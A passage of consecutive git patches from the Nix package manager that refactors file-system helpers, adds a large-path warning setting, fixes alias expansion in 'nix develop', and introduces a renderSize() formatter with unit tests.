 void replaceSymlink(const Path & target, const Path & link);
 
-void renameFile(const Path & src, const Path & dst);
-
 /**
  * Similar to 'renameFile', but fallback to a copy+remove if `src` and `dst`
  * are on a different filesystem.

From d3b7367c802337d5430103bff550b3c447cc5b0a Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 12 May 2024 18:58:05 +0530
Subject: [PATCH 114/528] inline usage of `nix::getFileType` and remove it

---
 src/libstore/gc.cc         | 2 +-
 src/libutil/file-system.cc | 6 ------
 src/libutil/file-system.hh | 2 --
 3 files changed, 1 insertion(+), 9 deletions(-)

diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc
index 3cd4fb839db..877608a84c9 100644
--- a/src/libstore/gc.cc
+++ b/src/libstore/gc.cc
@@ -225,7 +225,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
     try {
 
         if (type == std::filesystem::file_type::unknown)
-            type = getFileType(path);
+            type = std::filesystem::symlink_status(path).type();
 
         if (type == std::filesystem::file_type::directory) {
             for (auto & i : readDirectory(path))
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index b9f96b88f1e..cc93da996af 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -236,12 +236,6 @@ std::vector<fs::directory_entry> readDirectory(const Path & path)
 }
 
 
-fs::file_type getFileType(const Path & path)
-{
-    return fs::symlink_status(path).type();
-}
-
-
 std::string readFile(const Path & path)
 {
     AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 9f3db05c30d..669de704b91 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -128,8 +128,6 @@ Descriptor openDirectory(const std::filesystem::path & path);
  */
 std::vector<std::filesystem::directory_entry> readDirectory(const Path & path);
 
-std::filesystem::file_type getFileType(const Path & path);
-
 /**
  * Read the contents of a file into a string.
  */

From ccf94545db454c6b2b964cee8a72835764f64898 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 12 May 2024 19:20:17 +0530
Subject: [PATCH 115/528] rename `copy` -> `copyFile` and remove old copyFile

the old `copyFile` was just a wrapper that was calling the `copy`
function. This wrapper function is removed and the `copy` function is
renamed to `copyFile`.
---
 src/libstore/unix/build/local-derivation-goal.cc |  9 +++++++--
 src/libutil/file-system.cc                       | 11 +++--------
 src/libutil/file-system.hh                       |  2 +-
 3 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 331794292aa..9e2b0bd341a 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -421,7 +421,9 @@ static void doBind(const Path & source, const Path & target, bool optional = fal
     } else if (S_ISLNK(st.st_mode)) {
         // Symlinks can (apparently) not be bind-mounted, so just copy it
         createDirs(dirOf(target));
-        copyFile(source, target, /* andDelete */ false);
+        copyFile(
+            std::filesystem::directory_entry(std::filesystem::path(source)),
+            std::filesystem::path(target), false);
     } else {
         createDirs(dirOf(target));
         writeFile(target, "");
@@ -2568,7 +2570,10 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 // Replace the output by a fresh copy of itself to make sure
                 // that there's no stale file descriptor pointing to it
                 Path tmpOutput = actualPath + ".tmp";
-                copyFile(actualPath, tmpOutput, true);
+                copyFile(
+                    std::filesystem::directory_entry(std::filesystem::path(actualPath)),
+                    std::filesystem::path(tmpOutput), true);
+
                 std::filesystem::rename(tmpOutput, actualPath);
 
                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index cc93da996af..29488758773 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -605,7 +605,7 @@ static void setWriteTime(const fs::path & p, const struct stat & st)
 }
 #endif
 
-void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
+void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDelete)
 {
 #ifndef _WIN32
     // TODO: Rewrite the `is_*` to use `symlink_status()`
@@ -624,7 +624,7 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
     } else if (fs::is_directory(fromStatus)) {
         fs::create_directory(to);
         for (auto & entry : fs::directory_iterator(from.path())) {
-            copy(entry, to / entry.path().filename(), andDelete);
+            copyFile(entry, to / entry.path().filename(), andDelete);
         }
     } else {
         throw Error("file '%s' has an unsupported type", from.path());
@@ -640,11 +640,6 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
     }
 }
 
-void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
-{
-    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
-}
-
 void moveFile(const Path & oldName, const Path & newName)
 {
     try {
@@ -662,7 +657,7 @@ void moveFile(const Path & oldName, const Path & newName)
         if (e.code().value() == EXDEV) {
             fs::remove(newPath);
             warn("Can’t rename %s as %s, copying instead", oldName, newName);
-            copy(fs::directory_entry(oldPath), tempCopyTarget, true);
+            copyFile(fs::directory_entry(oldPath), tempCopyTarget, true);
             std::filesystem::rename(
                 os_string_to_string(PathViewNG { tempCopyTarget }),
                 os_string_to_string(PathViewNG { newPath }));
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 669de704b91..acc921ebe73 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -190,7 +190,7 @@ void moveFile(const Path & src, const Path & dst);
  * with the guaranty that the destination will be “fresh”, with no stale inode
  * or file descriptor pointing to it).
  */
-void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
+void copyFile(const std::filesystem::directory_entry & from, const std::filesystem::path & to, bool andDelete);
 
 /**
  * Automatic cleanup of resources.

From 8b5e8f4fba5728f2b3e90fcd1ab15df77e3ea0e8 Mon Sep 17 00:00:00 2001
From: Graham Christensen <graham@grahamc.com>
Date: Sun, 12 May 2024 16:42:43 -0400
Subject: [PATCH 116/528] git putFile: support flake maximalists

Passing the commit message as an argument causes update failures on repositories with lots of flake inputs. In some cases, the commit message is over 250,000 bytes.
---
 src/libfetchers/unix/git.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index fbdac1fe622..fa7ef36211a 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -342,7 +342,8 @@ struct GitInputScheme : InputScheme
                 logger->pause();
                 Finally restoreLogger([]() { logger->resume(); });
                 runProgram("git", true,
-                    { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-m", *commitMsg });
+                    { "-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "commit", std::string(path.rel()), "-F", "-" },
+                    *commitMsg);
             }
         }
     }

From 6bf7edb18b2815ac5758c937d69c1098e021edca Mon Sep 17 00:00:00 2001
From: Hraban Luyat <hraban@0brg.net>
Date: Sun, 12 May 2024 21:36:08 -0400
Subject: [PATCH 117/528] =?UTF-8?q?fix:=20don=E2=80=99t=20expand=20aliases?=
 =?UTF-8?q?=20in=20develop=20stdenv=20setup?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This fixes https://github.com/NixOS/nixpkgs/pull/290775 by not expanding aliases
when sourcing the stdenv setup script. The way bash handles aliases is to expand
them when a function is defined, not when it is used. I.e.:

    $ alias echo="echo bar "
    $ echo foo
    bar foo
    $ xyzzy() { echo foo; }
    $ shopt -u expand_aliases
    $ xyzzy
    bar foo
    $ xyzzy2() { echo foo; }
    $ xyzzy2
    foo

The problem is that ~/.bashrc is sourced before the stdenv setup, and bashrc
commonly sets aliases for ‘cp’, ‘mv’ and ‘rm’ which you don’t want to take
effect in the stdenv derivation builders. The original commit introducing this
feature (5fd8cf76676a280ae2b7a86ddabc6b14b41ebfe5) even mentioned this very
alias.

The only way to avoid this is to disable aliases entirely while sourcing the
stdenv setup, and reenable them afterwards.
---
 src/nix/develop.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index 08d44d7aa80..0363ca8294a 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -610,7 +610,7 @@ struct CmdDevelop : Common, MixEnvironment
         }
 
         else {
-            script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\n" + script;
+            script = "[ -n \"$PS1\" ] && [ -e ~/.bashrc ] && source ~/.bashrc;\nshopt -u expand_aliases\n" + script + "\nshopt -s expand_aliases\n";
             if (developSettings.bashPrompt != "")
                 script += fmt("[ -n \"$PS1\" ] && PS1=%s;\n",
                     shellEscape(developSettings.bashPrompt.get()));

From dbe1b51580451bcb08ccc1c768f7f0f4f0e9f421 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 7 May 2024 19:25:44 +0200
Subject: [PATCH 118/528] Add setting to warn about copying/hashing large paths
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This is useful for diagnosing whether an evaluation is copying large
paths to the store. Example:

   $ nix build .#packages.x86_64-linux.default --large-path-warning-threshold 1000000
   warning: copied large path '/home/eelco/Dev/nix-master/' to the store (6271792 bytes)
   warning: copied large path '«github:NixOS/nixpkgs/b550fe4b4776908ac2a861124307045f8e717c8e?narHash=sha256-7kkJQd4rZ%2BvFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo%3D»/' to the store (155263768 bytes)
   warning: copied large path '«github:libgit2/libgit2/45fd9ed7ae1a9b74b957ef4f337bc3c8b3df01b5?narHash=sha256-oX4Z3S9WtJlwvj0uH9HlYcWv%2Bx1hqp8mhXl7HsLu2f0%3D»/' to the store (22175416 bytes)
   warning: copied large path '/nix/store/z985088mcd6w23qwdlirsinnyzayagki-source' to the store (5885872 bytes)
---
 perl/lib/Nix/Store.xs               |  2 +-
 src/libstore/binary-cache-store.cc  |  2 +-
 src/libstore/globals.hh             | 10 ++++++++++
 src/libstore/local-store.cc         |  4 ++--
 src/libstore/store-api.cc           | 10 ++++++++--
 src/libstore/unix/build/worker.cc   |  4 ++--
 src/libutil/file-content-address.cc | 10 ++++++----
 src/libutil/file-content-address.hh |  7 ++++---
 src/libutil/serialise.hh            | 20 ++++++++++++++++++++
 9 files changed, 54 insertions(+), 15 deletions(-)

diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs
index ee211ef6493..e751c2be144 100644
--- a/perl/lib/Nix/Store.xs
+++ b/perl/lib/Nix/Store.xs
@@ -258,7 +258,7 @@ hashPath(char * algo, int base32, char * path)
         try {
             Hash h = hashPath(
                 PosixSourceAccessor::createAtRoot(path),
-                FileIngestionMethod::Recursive, parseHashAlgo(algo));
+                FileIngestionMethod::Recursive, parseHashAlgo(algo)).first;
             auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false);
             XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0)));
         } catch (Error & e) {
diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc
index 5153ca64fb1..67d00f364a5 100644
--- a/src/libstore/binary-cache-store.cc
+++ b/src/libstore/binary-cache-store.cc
@@ -453,7 +453,7 @@ StorePath BinaryCacheStore::addToStore(
        non-recursive+sha256 so we can just use the default
        implementation of this method in terms of addToStoreFromDump. */
 
-    auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
+    auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter).first;
 
     auto source = sinkToSource([&](Sink & sink) {
         path.dumpPath(sink, filter);
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 10893342219..dc53a07f1a9 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -1262,6 +1262,16 @@ public:
           store paths of the latest Nix release.
         )"
     };
+
+    Setting<uint64_t> largePathWarningThreshold{
+        this,
+        std::numeric_limits<uint64_t>::max(),
+        "large-path-warning-threshold",
+        R"(
+          Warn when copying a path larger than this number of bytes to the Nix store
+          (as determined by its NAR serialisation).
+        )"
+    };
 };
 
 
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index 800e6930971..33c4d73724c 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1272,7 +1272,7 @@ StorePath LocalStore::addToStoreFromDump(
             ? dumpHash
             : hashPath(
                 PosixSourceAccessor::createAtRoot(tempPath),
-                hashMethod.getFileIngestionMethod(), hashAlgo),
+                hashMethod.getFileIngestionMethod(), hashAlgo).first,
         {
             .others = references,
             // caller is not capable of creating a self-reference, because this is content-addressed without modulus
@@ -1412,7 +1412,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
                 PosixSourceAccessor::createAtRoot(link.path()),
-                FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false);
+                FileIngestionMethod::Recursive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false);
             if (hash != name.string()) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
                     link.path(), name, hash);
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 419c55e9239..a2095e02e4e 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -169,7 +169,9 @@ std::pair<StorePath, Hash> StoreDirConfig::computeStorePath(
     const StorePathSet & references,
     PathFilter & filter) const
 {
-    auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
+    auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
+    if (size && *size >= settings.largePathWarningThreshold)
+        warn("hashed large path '%s' (%d bytes)", path, *size);
     return {
         makeFixedOutputPathFromCA(
             name,
@@ -210,7 +212,11 @@ StorePath Store::addToStore(
     auto source = sinkToSource([&](Sink & sink) {
         dumpPath(path, sink, fsm, filter);
     });
-    return addToStoreFromDump(*source, name, fsm, method, hashAlgo, references, repair);
+    LengthSource lengthSource(*source);
+    auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair);
+    if (lengthSource.total >= settings.largePathWarningThreshold)
+        warn("copied large path '%s' to the store (%d bytes)", path, lengthSource.total);
+    return storePath;
 }
 
 void Store::addMultipleToStore(
diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/unix/build/worker.cc
index 03fc280a47d..2cca0621376 100644
--- a/src/libstore/unix/build/worker.cc
+++ b/src/libstore/unix/build/worker.cc
@@ -529,9 +529,9 @@ bool Worker::pathContentsGood(const StorePath & path)
     if (!pathExists(store.printStorePath(path)))
         res = false;
     else {
-        Hash current = hashPath(
+        auto current = hashPath(
             {store.getFSAccessor(), CanonPath(store.printStorePath(path))},
-            FileIngestionMethod::Recursive, info->narHash.algo);
+            FileIngestionMethod::Recursive, info->narHash.algo).first;
         Hash nullHash(HashAlgorithm::SHA256);
         res = info->narHash == nullHash || info->narHash == current;
     }
diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
index 769042d00da..8b1e3117aae 100644
--- a/src/libutil/file-content-address.cc
+++ b/src/libutil/file-content-address.cc
@@ -112,17 +112,19 @@ HashResult hashPath(
 }
 
 
-Hash hashPath(
+std::pair<Hash, std::optional<uint64_t>> hashPath(
     const SourcePath & path,
     FileIngestionMethod method, HashAlgorithm ht,
     PathFilter & filter)
 {
     switch (method) {
     case FileIngestionMethod::Flat:
-    case FileIngestionMethod::Recursive:
-        return hashPath(path, (FileSerialisationMethod) method, ht, filter).first;
+    case FileIngestionMethod::Recursive: {
+        auto res = hashPath(path, (FileSerialisationMethod) method, ht, filter);
+        return {res.first, {res.second}};
+    }
     case FileIngestionMethod::Git:
-        return git::dumpHash(ht, path, filter).hash;
+        return {git::dumpHash(ht, path, filter).hash, std::nullopt};
     }
     assert(false);
 }
diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh
index 145a8fb1f46..cd63be55119 100644
--- a/src/libutil/file-content-address.hh
+++ b/src/libutil/file-content-address.hh
@@ -132,14 +132,15 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method);
 
 /**
  * Compute the hash of the given file system object according to the
- * given method.
+ * given method, and for some ingestion methods, the size of the
+ * serialisation.
  *
  * Unlike the other `hashPath`, this works on an arbitrary
  * `FileIngestionMethod` instead of `FileSerialisationMethod`, but
- * doesn't return the size as this is this is not a both simple and
+ * may not return the size as this is this is not a both simple and
  * useful defined for a merkle format.
  */
-Hash hashPath(
+std::pair<Hash, std::optional<uint64_t>> hashPath(
     const SourcePath & path,
     FileIngestionMethod method, HashAlgorithm ha,
     PathFilter & filter = defaultPathFilter);
diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh
index 6249ddaf56a..18f4a79c398 100644
--- a/src/libutil/serialise.hh
+++ b/src/libutil/serialise.hh
@@ -283,6 +283,26 @@ struct LengthSink : Sink
     }
 };
 
+/**
+ * A wrapper source that counts the number of bytes read from it.
+ */
+struct LengthSource : Source
+{
+    Source & next;
+
+    LengthSource(Source & next) : next(next)
+    { }
+
+    uint64_t total = 0;
+
+    size_t read(char * data, size_t len) override
+    {
+        auto n = next.read(data, len);
+        total += n;
+        return n;
+    }
+};
+
 /**
  * Convert a function into a sink.
  */

From 5314430437d117d2e041b87cc568702c66f8702a Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 10 May 2024 16:49:40 +0200
Subject: [PATCH 119/528] Move printSize() into libutil

Also always include the unit (i.e. "MiB" instead of "M").
---
 src/libutil/util.cc  | 15 +++++++++++++++
 src/libutil/util.hh  |  6 ++++++
 src/nix/path-info.cc | 17 +++--------------
 src/nix/path-info.md |  4 ++--
 4 files changed, 26 insertions(+), 16 deletions(-)

diff --git a/src/libutil/util.cc b/src/libutil/util.cc
index 103ce4232b3..f893fc12dd8 100644
--- a/src/libutil/util.cc
+++ b/src/libutil/util.cc
@@ -112,6 +112,21 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites)
 }
 
 
+std::string renderSize(uint64_t value)
+{
+    static const std::array<char, 9> prefixes{{
+        'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'
+    }};
+    size_t power = 0;
+    double res = value;
+    while (res > 1024 && power < prefixes.size()) {
+        ++power;
+        res /= 1024;
+    }
+    return fmt("%6.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power));
+}
+
+
 bool hasPrefix(std::string_view s, std::string_view prefix)
 {
     return s.compare(0, prefix.size(), prefix) == 0;
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index 8b049875a89..01e42ce57db 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -137,6 +137,12 @@ N string2IntWithUnitPrefix(std::string_view s)
     throw UsageError("'%s' is not an integer", s);
 }
 
+/**
+ * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6
+ * GiB`.
+ */
+std::string renderSize(uint64_t value);
+
 /**
  * Parse a string into a float.
  */
diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc
index 921b25d7fd2..a1a2c40f444 100644
--- a/src/nix/path-info.cc
+++ b/src/nix/path-info.cc
@@ -139,21 +139,10 @@ struct CmdPathInfo : StorePathsCommand, MixJSON
 
     void printSize(uint64_t value)
     {
-        if (!humanReadable) {
+        if (humanReadable)
+            std::cout << fmt("\t%s", renderSize(value));
+        else
             std::cout << fmt("\t%11d", value);
-            return;
-        }
-
-        static const std::array<char, 9> idents{{
-            ' ', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'
-        }};
-        size_t power = 0;
-        double res = value;
-        while (res > 1024 && power < idents.size()) {
-            ++power;
-            res /= 1024;
-        }
-        std::cout << fmt("\t%6.1f%c", res, idents.at(power));
     }
 
     void run(ref<Store> store, StorePaths && storePaths) override
diff --git a/src/nix/path-info.md b/src/nix/path-info.md
index 789984559d5..2e39225b865 100644
--- a/src/nix/path-info.md
+++ b/src/nix/path-info.md
@@ -26,8 +26,8 @@ R""(
 
   ```console
   # nix path-info --recursive --size --closure-size --human-readable nixpkgs#rustc
-  /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev      386.7K   69.1M
-  /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0          5.9M   37.4M
+  /nix/store/01rrgsg5zk3cds0xgdsq40zpk6g51dz9-ncurses-6.2-dev      386.7 KiB   69.1 MiB
+  /nix/store/0q783wnvixpqz6dxjp16nw296avgczam-libpfm-4.11.0          5.9 MiB   37.4 MiB
   …
   ```
 

From cf3b044b7efb67f82d151da66b339a9ad8c1e5ac Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 10 May 2024 16:58:19 +0200
Subject: [PATCH 120/528] Make large path warnings human-readable

---
 src/libstore/store-api.cc | 4 ++--
 src/libutil/util.cc       | 4 ++--
 src/libutil/util.hh       | 5 +++--
 src/nix/path-info.cc      | 2 +-
 4 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index a2095e02e4e..0b78f999e41 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -171,7 +171,7 @@ std::pair<StorePath, Hash> StoreDirConfig::computeStorePath(
 {
     auto [h, size] = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
     if (size && *size >= settings.largePathWarningThreshold)
-        warn("hashed large path '%s' (%d bytes)", path, *size);
+        warn("hashed large path '%s' (%s)", path, renderSize(*size));
     return {
         makeFixedOutputPathFromCA(
             name,
@@ -215,7 +215,7 @@ StorePath Store::addToStore(
     LengthSource lengthSource(*source);
     auto storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair);
     if (lengthSource.total >= settings.largePathWarningThreshold)
-        warn("copied large path '%s' to the store (%d bytes)", path, lengthSource.total);
+        warn("copied large path '%s' to the store (%s)", path, renderSize(lengthSource.total));
     return storePath;
 }
 
diff --git a/src/libutil/util.cc b/src/libutil/util.cc
index f893fc12dd8..16bca093cf2 100644
--- a/src/libutil/util.cc
+++ b/src/libutil/util.cc
@@ -112,7 +112,7 @@ std::string rewriteStrings(std::string s, const StringMap & rewrites)
 }
 
 
-std::string renderSize(uint64_t value)
+std::string renderSize(uint64_t value, bool align)
 {
     static const std::array<char, 9> prefixes{{
         'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'
@@ -123,7 +123,7 @@ std::string renderSize(uint64_t value)
         ++power;
         res /= 1024;
     }
-    return fmt("%6.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power));
+    return fmt(align ? "%6.1f %ciB" : "%.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power));
 }
 
 
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index 01e42ce57db..0c8c82bfdfe 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -139,9 +139,10 @@ N string2IntWithUnitPrefix(std::string_view s)
 
 /**
  * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6
- * GiB`.
+ * GiB`. If `align` is set, the number will be right-justified
+ * (e.g. `__11.6 GiB`).
  */
-std::string renderSize(uint64_t value);
+std::string renderSize(uint64_t value, bool align = false);
 
 /**
  * Parse a string into a float.
diff --git a/src/nix/path-info.cc b/src/nix/path-info.cc
index a1a2c40f444..47f9baee505 100644
--- a/src/nix/path-info.cc
+++ b/src/nix/path-info.cc
@@ -140,7 +140,7 @@ struct CmdPathInfo : StorePathsCommand, MixJSON
     void printSize(uint64_t value)
     {
         if (humanReadable)
-            std::cout << fmt("\t%s", renderSize(value));
+            std::cout << fmt("\t%s", renderSize(value, true));
         else
             std::cout << fmt("\t%11d", value);
     }

From 4d0777ca69463cbaba3501c10d16012101bb0933 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Mon, 13 May 2024 15:36:00 +0530
Subject: [PATCH 121/528] fix: copy fileName before calling `std::distance`

---
 src/libstore/unix/builtins/unpack-channel.cc | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc
index c5360414562..bb60688ea16 100644
--- a/src/libstore/unix/builtins/unpack-channel.cc
+++ b/src/libstore/unix/builtins/unpack-channel.cc
@@ -22,11 +22,12 @@ void builtinUnpackChannel(
     unpackTarfile(src, out);
 
     auto entries = std::filesystem::directory_iterator{out};
-    auto file_count = std::distance(entries, std::filesystem::directory_iterator{});
+    auto fileName = entries->path().string();
+    auto fileCount = std::distance(std::filesystem::begin(entries), std::filesystem::end(entries));
 
-    if (file_count != 1)
+    if (fileCount != 1)
         throw Error("channel tarball '%s' contains more than one file", src);
-    renameFile(entries->path().string(), (out + "/" + channelName));
+    renameFile(fileName, (out + "/" + channelName));
 }
 
 }

From f0b5628eb2ff90bf6e7009966d1fad39214c303d Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 13 May 2024 12:08:45 +0200
Subject: [PATCH 122/528] renderSize(): Add some unit tests

---
 tests/unit/libutil/tests.cc | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc
index b66872a6e3c..9be4a400d02 100644
--- a/tests/unit/libutil/tests.cc
+++ b/tests/unit/libutil/tests.cc
@@ -421,6 +421,23 @@ namespace nix {
         ASSERT_EQ(string2Int<int>("-100"), -100);
     }
 
+    /* ----------------------------------------------------------------------------
+     * renderSize
+     * --------------------------------------------------------------------------*/
+
+    TEST(renderSize, misc) {
+        ASSERT_EQ(renderSize(0, true), "   0.0 KiB");
+        ASSERT_EQ(renderSize(100, true), "   0.1 KiB");
+        ASSERT_EQ(renderSize(100), "0.1 KiB");
+        ASSERT_EQ(renderSize(972, true), "   0.9 KiB");
+        ASSERT_EQ(renderSize(973, true), "   1.0 KiB"); // FIXME: should round down
+        ASSERT_EQ(renderSize(1024, true), "   1.0 KiB");
+        ASSERT_EQ(renderSize(1024 * 1024, true), "1024.0 KiB");
+        ASSERT_EQ(renderSize(1100 * 1024, true), "   1.1 MiB");
+        ASSERT_EQ(renderSize(2ULL * 1024 * 1024 * 1024, true), "   2.0 GiB");
+        ASSERT_EQ(renderSize(2100ULL * 1024 * 1024 * 1024, true), "   2.1 TiB");
+    }
+
 #ifndef _WIN32 // TODO re-enable on Windows, once we can start processes
     /* ----------------------------------------------------------------------------
      * statusOk

From 553468216636a0037f988a31f95cda40a0e7e3d0 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 13 May 2024 10:29:35 +0200
Subject: [PATCH 123/528] Update src/libutil/util.hh

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libutil/util.hh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index 0c8c82bfdfe..6db59ef20f4 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -139,8 +139,8 @@ N string2IntWithUnitPrefix(std::string_view s)
 
 /**
  * Pretty-print a byte value, e.g. 12433615056 is rendered as `11.6
- * GiB`. If `align` is set, the number will be right-justified
- * (e.g. `__11.6 GiB`).
+ * GiB`. If `align` is set, the number will be right-justified by
+ * padding with spaces on the left.
  */
 std::string renderSize(uint64_t value, bool align = false);
 

From 62e1ea2f4b563d73fac8d48feae0e9968c9c5bc9 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Mon, 13 May 2024 16:10:21 +0530
Subject: [PATCH 124/528] use `path` for `from` arg in `nix::copyFile`

---
 .../unix/build/local-derivation-goal.cc       |  4 ++--
 src/libutil/file-system.cc                    | 20 +++++++++----------
 src/libutil/file-system.hh                    |  2 +-
 3 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 9e2b0bd341a..16095cf5d49 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -422,7 +422,7 @@ static void doBind(const Path & source, const Path & target, bool optional = fal
         // Symlinks can (apparently) not be bind-mounted, so just copy it
         createDirs(dirOf(target));
         copyFile(
-            std::filesystem::directory_entry(std::filesystem::path(source)),
+            std::filesystem::path(source),
             std::filesystem::path(target), false);
     } else {
         createDirs(dirOf(target));
@@ -2571,7 +2571,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 // that there's no stale file descriptor pointing to it
                 Path tmpOutput = actualPath + ".tmp";
                 copyFile(
-                    std::filesystem::directory_entry(std::filesystem::path(actualPath)),
+                    std::filesystem::path(actualPath),
                     std::filesystem::path(tmpOutput), true);
 
                 std::filesystem::rename(tmpOutput, actualPath);
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 29488758773..f5628bfdbd7 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -605,29 +605,29 @@ static void setWriteTime(const fs::path & p, const struct stat & st)
 }
 #endif
 
-void copyFile(const fs::directory_entry & from, const fs::path & to, bool andDelete)
+void copyFile(const fs::path & from, const fs::path & to, bool andDelete)
 {
 #ifndef _WIN32
